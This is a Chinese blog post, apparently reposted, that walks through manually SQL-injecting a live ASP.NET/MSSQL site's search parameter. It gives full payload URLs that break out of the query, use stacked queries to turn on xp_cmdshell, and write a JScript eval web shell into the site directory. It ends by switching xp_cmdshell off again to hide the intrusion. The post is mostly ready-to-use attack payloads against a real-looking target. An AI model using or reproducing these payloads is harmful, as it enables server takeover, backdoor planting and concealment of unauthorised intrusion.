实战手工注入某站,mssql注入

昨天就搞下来的,但是是工具搞得,为了比赛还是抛弃一阵子的工具吧。内容相对简单,可掠过。

报错得到sql语句:

DataSet ds2 = BusinessLibrary.classHelper.GetList("ID,catID,title as catTitle,'Content2.aspx' as url,createTime,orderID", "cat_article", "((title like '%" + strkeys + "%' or content like '%" + strkeys + "%') and isshow=1)", "ID", "order by orderID desc,createTime desc", pager1.PageSize, pageIndex, 0);

有点复杂看球不懂。直接挑出有strkeys的变量过来看。

like '%" + strkeys + "%') and isshow=1)"

直接采取闭合+注释的方案。因为是直接拼接的,所以直接%'))就解决了闭合,转换成url编码就是%25%27  ps:不转换也行

即:id=a%25%27))-- -

ok。再结合mssql的注入语句。

至于猜裤猜表我就不说了。直接开xp_cmdshell组建进行命令执行然后写shell

http://www.jb51.net/hack/39196.html

开启xp_cmdshell组建MSSQL命令:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

写成payload就是:

http://www.baidu.cn/search.aspx?keys=a%25%27));EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--%20-

注意需要结合堆叠注入所以就需要使用到分号先将前面的语句进行结束,然后再开启一条新的sql语句。

因为前面.net一下子就可以爆出网站路径然后又直接写shell。

利用:exec master..xp_cmdshell "whoami"  进行写shell

# 这里说明一下堆叠注入是不会报错的。也就是说你执行开启xp_cmdshell组建的时候页面应当显示正常。

  http://www.baidu.cn/search.aspx?keys=a%25%27));exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\网站路径\shell.aspx' ;----+

然后就getshell了。最后擦屁股,再关掉xp_Cmdshell组建。

将开启语句的第二个1改成0再执行,xp_cmdshell就又处于禁用状态了

OVER

原文地址:https://www.cnblogs.com/nul1/p/9088913.html